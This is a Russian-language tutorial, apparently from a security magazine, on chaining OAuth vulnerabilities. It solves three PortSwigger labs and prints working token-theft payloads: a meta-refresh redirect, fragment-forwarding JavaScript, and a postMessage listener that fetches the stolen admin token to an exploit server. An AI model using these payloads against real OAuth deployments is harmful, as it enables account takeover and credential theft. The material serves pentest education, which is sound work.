OAuth от и до
Ищем цепочки уязвимостей при атаках на авторизацию
Ты, например, мог слышать про Open Redirect, который часто не воспринимают всерьез и за обнаружение которого не платят Bug Bounty. Но если ты сможешь найти способ красиво заюзать его и повысить импакт до кражи аккаунта, это уже совсем другое дело.
info
О том, как устроен протокол OAuth и как эксплуатируют базовые уязвимости в нем, читай в моей предыдущей статье — «OAuth от и до. Изучаем протокол и разбираем базовые атаки на OAuth».
Что будет, если не проверять redirect_uri

Первый кейс простой. redirect_uri
— это тот параметр, который говорит серверу авторизации, на какой URL ему нужно направить токен после того, как пользователь войдет через социальную сеть и согласится дать доступ к своим ресурсам.
Приложение на первом этапе авторизации по OAuth, или, в терминологии спеки, этапе Authorization Request, формирует ссылку и указывает в качестве этого параметра подконтрольный ему эндпоинт.
Когда ты входишь через Discord на сайт Midjourney, ссылка выглядит примерно так:
<https://discord.com/login>?redirect_to=https://midjourney.com/oauth2/authorize?response_type=code&client_id=936929561302675456&redirect_uri=https://www.midjourney.com/__/auth/handler&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-zsdFLI3lv11Dlz0syNqa-sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZniAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7QgIiRQCk&scope=identify email guilds.join guilds.members.read role_connections.write&context_uri=https://www.midjourney.com
В этом запросе говорится о том, что в конце флоу сервер авторизации не только выдает код, но и должен вернуть пользователя на сайт приложения midjourney.
.
По‑хорошему в параметре redirect_uri
должен быть вайтлист ссылок, на которые можно редиректить. Такие ссылки обычно указывает владелец приложения, когда его регистрирует. Это позволяет обрубать запрос, если кто‑то подставит свой redirect_uri
.
Если вайтлиста нет, это создает пространство для манипуляций. Злоумышленник может взять ссылку из первого этапа и заменить в ней redirect_uri
подконтрольным ему сервисом, выложить ее где‑нибудь в социальных сетях и украсть токен после того, как кто‑нибудь уже авторизованный в Discord и в Midjourney перейдет по ней (то же справедливо и для других пар приложений и OAuth-провайдеров).
Сейчас мы разберем это подробнее на реальном примере.
Лаба: OAuth account hijacking via redirect_uri
Стартуем и оказываемся на главной странице со странной картинкой.

Как и раньше, проходим весь флоу с логином, чтобы собрать все запросы и спокойно проанализировать их. Заходим под аккаунтом wiener
.

И оказываемся в личном кабинете.

Флоу авторизации пройден, переходим в Burp. Находим Authorization Request (тот запрос на сервер авторизации, на который нас перенаправило приложение) и отправляем его в Repeater.
Именно в этой ссылке есть уязвимый redirect_uri
, который мы и будем эксплуатировать.

Уязвимость заключается в том, что в приложении сервера авторизации должным образом (вообще никак) не проверяется redirect_uri
. А это значит, что, подменив его, мы можем направить пользователя на собственную страницу, чтобы залогировать чужой токен.
Посмотрим, как это происходит на практике. Меняем в нашем запросе тот URI, который был указан, на адрес эксплоит‑сервера. Он выдается в лабораториях вроде этой, и его можно найти в верхнем меню.

Переходи туда, копируй ссылку и вставляй ее в качестве параметра redirect_uri
.

У меня это выглядит так.

Можно нажать правой кнопкой мыши и выбрать Copy URL, чтобы скопировать всю ссылку и посмотреть в браузере, как произойдет редирект и в логах появится наш токен.
Нигде ничего вводить уже не надо (так как мы уже вошли на всех сайтах и дали согласие), просто ты прошел цепочку редиректов, и вот уже токен залогирован на нашем эксплоит‑сервере или сервере злоумышленника.

Это наш собственный токен, а нам нужен токен администратора. Так что возвращаемся на главную страницу эксплоит‑сервера и берем ту же самую разметку с редиректом, которую мы уже использовали в лабораториях из прошлой статьи. Только на этот раз меняем URL на тот, который мы только что скрафтили, где redirect_uri
ведет на наш сервер.
У меня получилось так.
<meta http-equiv="refresh" content="0; url=https://oauth-0aa1008d031d3e2f8262ddfe02b500bd.oauth-server.net/auth?client_id=thtwm4tl3pzj84mokh19e&redirect_uri=https://exploit-0a0c001703f13e0f82e0de55011a000f.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email" />
Вставляем HTML-разметку в поле Body и сохраняем кнопкой Store.

Теперь у нас есть страница, на которую может зайти администратор, и тогда мы украдем его учетку. При посещении страницы произойдет цепочка редиректов для авторизации. Поскольку он уже залогинен в социальной сети, в конце концов он будет перенаправлен на наш сервер, где мы и залогируем его OAuth-токен из URL.
Нажимаем Deliver exploit to victim. В зависимости от нагрузки на серверы PortSwigger запрос может прийти с небольшой задержкой. Мне пришлось подождать несколько минут (в течение которых я жал одну и ту же кнопку), и в конце концов мне прилетело несколько десятков запросов с токеном администратора.

Копируем последний пришедший токен и вставляем в запрос /
. Если все пройдет нормально, сервер должен отдать куки и показать, что мы залогинены. Так и произошло. Появилась ссылка на панель администратора, а это значит, что мы не просто зашли, а зашли как админ.

Заходим через браузер, удаляем пользователя carlos
и наслаждаемся победой над еще одной лабой.

Злоупотребление открытым редиректом в связке с OAuth

Давай кратко вспомним, что вообще такое Open Redirect.
info
Open Redirect, или открытое перенаправление, — это такая уязвимость, когда веб‑приложение допускает перенаправить пользователя на произвольные внешние URL-адреса без должной проверки.
Например, у нас есть сайт Google. Он не нуждается в представлении, у него большой кредит доверия, и все компании считают, что домен google.com безопасный, поэтому дают ему некоторые послабления, добавляя в собственные белые списки.
Но если злоумышленники найдут на нем Open Redirect, то они смогут воспользоваться этим доверием и использовать его, чтобы создать ссылку на собственный C2-сервер, обходя детектирование некоторых антивирусов.
Вот пример такой ссылки:
https://www.google.com/url?sa=t&url=https://evil.com
Она была бы уязвимой, если бы сразу направляла на указанный сайт. Хорошим тоном считается предупреждать пользователя, что он покидает легитимный сайт, и не выполнять редирект без его согласия.

Сам по себе Open Redirect не очень опасен, кроме пограничного случая, связанного с вредоносами, который я описал выше. Но его часто используют в связке с эксплуатацией других веб‑уязвимостей, когда он становится по‑настоящему грозным оружием, позволяющим обходить многие фильтры, заточенные на проверку по регулярке или подстроке.
К примеру, сайт может проверять, что redirect_uri
начинается только с https://
. Если на этом example.
получится найти Open Redirect, то можно будет и пройти проверку, и эксплуатировать уязвимость, чтобы украсть токен через OAuth.
Лаба: Stealing OAuth access tokens via an open redirect
Как всегда, открываем лабораторию и попадаем на главную страницу блога.

Логинимся через социальную сеть.

Смотрим историю запросов, берем Authorization Request и пытаемся повторить трюк из предыдущей лабы — для этого заменяем redirect_uri
каким‑нибудь своим, например адресом эксплоит‑сервера.
Отправляем запрос и видим в ответе текст error:
, который означает, что на этот раз мы не сможем так нагло, как раньше, заменить этот параметр и украсть токен.

Немного покопавшись на сайте, находим в самом низу страницы записи из блога две ссылки: на предыдущую запись и следующую (если она есть).

Выглядит ссылка следующим образом:
https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/post/next?path=/post?postId=10
Как можно заметить, у нее есть параметр path
, где указан путь, по которому нужно сделать редирект. Что, если бы мы могли попробовать эксплуатировать здесь Open Redirect и перенаправить пользователя на любой другой сайт или даже собственный вредоносный сервер?
Заменяем redirect_uri
своей ссылкой:
https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/post/next?path=https://google.com
Отправляем запрос и снова сталкиваемся с той же самой ошибкой. Видимо, сервер проверяет не только домен, на который мы редиректим, но и сам путь.

Путем экспериментов выясняем, что ссылка обязательно должна начинаться так:
https://<поддомен лабы>.web-security-academy.net/oauth-callback/
Мы можем дополнительно эксплуатировать Path Traversal, чтобы удовлетворять правилам. Формируем следующую ссылку и пытаемся снова отправить запрос с измененным redirect_uri
:
https://<поддомен лабы>.web-security-academy.net/oauth-callback/../post/next?path=https://google.com

Сработало!
-
/..
после/ oauth-callback
обозначает, что мы переходим на уровень выше к корню сайта (эксплуатируя Path Traversal); -
post/
— используем URL для перехода к следующему посту с собственнымnext?path=https:// google. com path=https://
, чтобы отправить пользователя на сторонний сайт.google. com
Копируем полученный URL, открываем в браузере, и вот наш токен прокинулся на тот сайт, который мы указали.

Теперь вместо google.
мы можем поставить ссылку на собственный сервер и украсть токен. Но потребуются еще небольшие доработки. Можно заметить, что токен передается не через привычный GET-параметр после знака вопроса, а как якорь (то есть идет после решетки). Обычно серверы не логируют такие параметры, потому что они предназначены только для браузера.
Соответственно, обрабатывается токен только на стороне клиента, и нам нужно извлечь его. Делать это мы будем с помощью простенького кода на JavaScript.
Вот что будет делать наш скрипт:
- Если пользователь зашел впервые — отправит его на вход через социальную сеть с нашим вредоносным урлом.
- Если пользователь вернулся по URL, который был указан в первом пункте, извлекает токен и отправляет его на этот же URL, но уже с нормально заданным GET-параметром, который залогируется:
<script>
if (!document.location.hash) { window.location = 'https://oauth-0ace001a0475a73994506b4c02120084.oauth-server.net/auth?client_id=woh27no9eqarfla0piito&redirect_uri=https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ac100b304f0a7e1945f6c4f01f20083.exploit-server.net/exploit&response_type=token&nonce=-958106083&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }</script>
Помещаем скрипт на свой эксплоит‑сервер и нажимаем Deliver exploit to victim.

Ждем пару секунд и проверяем логи, где и находим запрос с токеном.

https://exploit-0ac100b304f0a7e1945f6c4f01f20083.exploit-server.net/?access_token=38oaEgDJw-n7e_r_pHnYs6gCsnyQ1R58L4TRG4KKAne&expires_in=3600&token_type=Bearer&scope=openid profile email
Теперь у нас есть OAuth-токен администратора. Из истории запросов находим запрос к API /
. Этот эндпоинт отдает информацию о владельце токена.

Подставляем в него наш OAuth-токен, получаем информацию о пользователе (где видно, что мы завладели аккаунтом администратора) и его API-ключ, который нужен, чтобы пройти лабораторию.

Копируем его, вставляем в Submit solution.

Подтверждаем отправку и принимаем поздравления.

Формируем цепочки багов для повышения импакта
Как быть, если мы не смогли найти ни одну из ошибок, о которых я рассказал выше? Уязвимости типа Open Redirect и CSRF, которые мы эксплуатировали в комбинации с классическими атаками на OAuth, не единственные, которые тут могут быть полезны.
У OAuth много возможностей и откровенных багов, которые может использовать злоумышленник, чтобы украсть токен. Однако в случае более сложных приложений ему (и тебе — как пентестеру) потребуется немного фантазии.
Вот несколько хороших примеров:
-
XSS-уязвимости — на веб‑серверах можно встретить атрибут
httpOnly
, который проставляется сессионной куке, чтобы ее нельзя было украсть с помощью уязвимостей межсайтового скриптинга. Помни, что код авторизации OAuth не имеет такой защиты, и ты можешь воспользоваться этим, чтобы украсть чужой аккаунт. Так ты сможешь повысить импакт и украсть аккаунт админа, даже если на сервисе используетсяhttpOnly
. -
HTML-инъекции — когда нельзя внедрить полноценный код на JavaScript или в приложении используется строгая политика CSP, отчаиваться не стоит — для кражи кода авторизации может хватить даже простой инъекции. К примеру, если ты контролируешь ввод атрибута
src
у элементаimg
(то есть ссылку на картинку), то можно узнать код с помощью атрибутаReferer
(он сигнализирует, с какого сайта пришел пользователь). Некоторые браузеры (вроде Firefox) отправляютReferer
полностью при загрузке картинок, включая всю строку запроса. - Опасный JavaScript, обрабатывающий весь URL или отдельные параметры запроса. Тут нужно немного подумать и раскрутить цепочку, которая приведет к заветной цели.
Сейчас мы на практике реализуем опасную цепочку гаджетов, где использование PostMessage
стало фатальным и позволило украсть чужой токен.
Как работает PostMessage
PostMessage — этот механизм, который позволяет безопасно отправлять кросс‑доменные запросы.

Обычно доступ к ресурсам на разных страницах разрешен только в том случае, если страницы имеют один и тот же origin
, то есть «происхождение», которое определяется по комбинации протокола (например, HTTPS), номера порта (443 — по умолчанию для HTTPS) и хоста (доменного имени).
Это часть механизма безопасности браузера, которая называется политикой одного источника (Same-Origin Policy). SOP защищает конечного пользователя от того, что код в одном окне браузера украдет данные из другого.
PostMessage предоставляет контролируемый механизм, который помогает обойти это ограничение безопасным способом (при правильном использовании).
Все работает очень просто, PostMessage
предполагает два обязательных компонента:
-
window.
— отправляет сообщение;postMessage( ) -
window.
— используется для получения и обработки сообщения.addEventListener( message, callback)
Один метод нужно запрашивать в окне, которое хочет отправить данные, другой — в том, которое хочет получить эти данные. Другими словами, это некое соглашение, которое позволяет обменяться только теми данными, о которых окна предварительно договорились друг с другом.
Burp Suite и DOM Invader
В Burp Suite есть встроенный браузер с расширением DOM Invader. Оно позволяет автоматизировать некоторые атаки и показывать содержимое сообщений, пересылаемых между окнами с помощью PostMessage.
Чтобы открыть браузер, надо запустить Burp, перейти в Proxy и нажать Open browser.

Откроется обычный Chromium, но с импортированным SSL-сертификатом от PortSwigger, включенным прокси‑сервером, который сразу «из коробки» направляет все запросы в Burp, и с расширением DOM Invader, которое может помочь эксплуатировать XSS, Prototype Pollution и смотреть содержимое пост‑месседжей.
Расширение предустановлено, но может быть выключено по умолчанию. Чтобы включить, надо перейти в chrome://
и поставить соответствующую галочку.

В меню появится значок, который позволяет управлять настройками расширения. Нам нужно, чтобы оно работало и логировало пост‑месседжи, для этого активируй те же самые пункты, что отмечены у меня на скриншоте.

Теперь можно открыть сайт stevesouders.com/misc/test-postmessage.php (или любой аналогичный), нажать на первый тест и увидеть, как расширение залогирует отправленное сообщение.

Если все так, как у меня на скрине, можно переходить к лабе.
Лаба: Stealing OAuth access tokens via a proxy page
Открываем главную сайта, где встречаем многообещающую картинку.

По уже обкатанному сценарию заходим в аккаунт wiener
, ставший нам родным.

Открываем HTTP History в Burp, находим Authorization Request, пересылаем его в Repeater и начинаем экспериментировать.
Для начала попытаемся провернуть тот же самый трюк, к которому мы прибегли в прошлой лаборатории. Попробуем эксплуатировать старый добрый Open Redirect, который позволил нам ранее украсть токен администратора. Заменяем стандартный redirect_uri
знакомым уже пейлоадом с Path Traversal и «ссылкой на пост», где вместо поста — google.
.

Отправив запрос, видим, что редирект действительно есть. Это первичный признак того, что мы можем использовать эту ссылку, чтобы прокинуть кастомный URL.
Однако, если углубиться, выяснится, что признак обманчивый. Украсть токен таким способом в этот раз так просто не выйдет, поскольку на сайте просто нет страницы с переходом к следующему посту из прошлой лаборатории.

А обычный запрос со сторонним сайтом будет говорить о мисматче. Придется ковырять сам сайт на наличие нового Open Redirect или какой‑либо другой уязвимости, которая привела бы нас к написанию рабочего эксплоита.

Если зайти на страницу любого поста из блога и пролистать вниз, то, на первый взгляд, ничего нового нет. Но если присмотреться к исходному коду страницы, то можно заметить необычный iframe, внутри которого живет форма для отправки комментария. Раньше это была нативная форма, без каких‑либо фреймов.

Iframe ведет на другую страницу этого же сайта. Откроем ее по прямой ссылке (для этого просто нужно взять атрибут src
и вставить в адресную строку) и глянем ее исходник.

На странице есть следующий код на JavaScript:
parent.postMessage({type: 'onload', data: window.location.href}, '*')function submitForm(form, ev) { ev.preventDefault(); const formData = new FormData(document.getElementById("comment-form")); const hashParams = new URLSearchParams(window.location.hash.substr(1)); const o = {}; formData.forEach((v, k) => o[k] = v); hashParams.forEach((v, k) => o[k] = v); parent.postMessage({type: 'oncomment', content: o}, '*'); form.reset();}
Разберемся, что он делает. Сначала вызывается вот такой метод:
parent.postMessage({type: 'onload', data: window.location.href}, '*')
Он означает, что после загрузки страницы нужно отправить сообщение onload
родительскому окну (если оно существует) с текущим URL страницы (window.
) в ключе data
.
Дальше следует функция submitForm
, которая, как можно догадаться, отвечает за отправку формы. Давай пройдемся по каждой строке и посмотрим, что она делает.
ev.preventDefault()
Эта строка предотвращает стандартное действие браузера по отправке формы.
const formData = new FormData(document.getElementById("comment-form"));
Здесь создается объект FormData
, который содержит данные из формы с идентификатором comment-form
.
const hashParams = new URLSearchParams(window.location.hash.substr(1));
Создается объект URLSearchParams
, который содержит параметры из хеш‑части URL (всё после решетки).
const o = {};
Создается пустой объект o
.
formData.forEach((v, k) => o[k] = v);
Эта строка заполняет объект o
данными из формы.
hashParams.forEach((v, k) => o[k] = v);
В объект o
добавляются параметры из хеш‑части URL.
parent.postMessage({type: 'oncomment', content: o}, '*');
Этот метод отправляет сообщение родительскому окну с типом oncomment
и содержимым данных из формы, вместе с параметрами хеша.
И наконец, form.
сбрасывает форму, очищая все ее поля.
Если всё обобщить, то происходит следующее. На страницу загружается iframe, внутри — поля для отправки комментария. Когда пользователь их заполняет и нажимает Send Comment, в родительское окно возвращается содержимое формы, а оттуда данные отправляются на эндпоинт send_form
, который и публикует сам комментарий.
Когда загружается iframe, в родительское окно еще отсылается событие о том, что он успешно загружен, и ссылка, по которой он находится.
{ "type": "onload", "data": "https://0a9f003904c4085282b56f10003b00c8.web-security-academy.net/post/comment/comment-form#postId=3"}
Потом «наверх» отправляется уже содержимое самого комментария.
{ "type": "oncomment", "content": { "comment": "asdsad", "name": "sadasd", "email": "test@gmail.com", "website": "https://google.com", "postId": "3", "csrf": "NoBM8Fn9Jf1nQ9GNcTtNzqDpxyfW8oTP" }}
Эти же сообщения можно увидеть в DOM Invader.

В жизни ты именно такой кейс вряд ли встретишь, так как обычно комментарии отправляет нативная форма и прослойка в виде отдельного iframe здесь явно не нужна. Но в рамках лаборатории нам подготовили испытание, чтобы мы могли научиться комбинировать подобные особенности в удачные атаки. Разработчики порой пишут странный код, и мы должны уметь использовать его в своих целях.
Как же использовать эту форму? Ключевое для нас — событие onload
, при обработке которого в родительское окно возвращается URL, включая ту часть, которая идет после знака #
. Кроме того, домен родительского окна не проверяется.
Как ты помнишь, OAuth-токен возвращается тоже после знака #
, а это значит, что если мы укажем в качестве redirect_uri
ссылку на эту форму, то в итоге сможем получить токен из пост‑месседжа в родительском окне. В качестве родительского окна будет выступать наш эксплоит‑сервер, где мы и перехватим токен.
Перейдем в Burp Repeater и заменим redirect_uri
ссылкой на форму с комментарием, не забывая использовать Path Traversal из предыдущего задания (иначе сервер не примет ссылку).

Откроем ссылку и увидим цепочку редиректов, которая приводит нас на форму с отправкой комментария, и OAuth-токеном в URL. Форма берет URL и направляет его в родительское окно, которого пока что у нас нет.

Переходим к эксплоит‑серверу и пишем код, который открывает наш прошлый URL в iframe.

Нажимаем на Store и сталкиваемся с непонятной ошибкой.

Сталкивался с этой ошибкой не я один, и на форуме PortSwigger были свежие темы, где люди жаловались на то же самое.

Как выяснилось, Chrome в новых версиях по умолчанию блокирует сторонние куки, и, чтобы пройти лабораторию, придется добавить домен эксплоит‑сервера в исключения браузера. Для этого перейди в раздел настроек Privacy and security и вставь в Site allowed to use third-party cookies домен эксплоит‑сервера.
Должно получиться, как у меня на скриншоте.

Возвращаемся обратно к эксплоит‑серверу.

Добавим еще небольшой JavaScript-код, который просто создает так называемый listener («слушатель»), цель которого — принять PostMessage от дочернего окна и вывести его содержимое в консоль.
<script> window.addEventListener('message', function(e) { console.log(e.data) }, false)</script>
Код — на скриншоте ниже.

Посмотрим, что получилось. Открываем Exploit Server.

И видим, как в консоли отображается URL с нашим токеном. Теперь нам надо научиться кодировать данные (так как всё, что идет после решетки, не логируется, и нам надо исправить это) и делать редирект на эксплоит‑сервер, чтобы данные оседали в access-логе, откуда мы их сможем забрать (тот самый access-токен администратора).
Эти же данные можно увидеть в DOM Invader.

Теперь меняем console.
на fetch
.
<script> window.addEventListener('message', function(e) { fetch("/" + encodeURIComponent(e.data.data)) }, false)</script>
Обновляем код на эксплоит‑сервере.

Открываем сайт и видим, как вместо того, чтобы сохранить сообщение в логах, из него извлечен URL и отправлен прямо к нам на эксплоит‑сервер, с использованием URL-кодирования.

Теперь, если глянуть в логи, можно увидеть там же эту ссылку.

Направляем администратора на нашу страницу и смотрим за новыми логами.

Копируем ссылку, которая там появилась, и декодируем ее в Decoder.

Берем токен и отправляем на эндпоинт /
.

А вот и API-ключ администратора! Лаба пройдена.
Выводы
В этой статье мы познакомились с технологией PostMessage и разобрали, как комбинировать разные баги в OAuth, чтобы устраивать более продвинутые атаки и повышать импакт.
Но не стоит останавливаться на одном только OAuth. В заключительной статье из этой серии мы узнаем о надстройке над ним, которая более стандартизирована и призвана решить часть проблем, но по‑прежнему не лишена уязвимостей.
Кроме того, мы составим чек‑лист для пентеста и научимся автоматизировать поиск багов.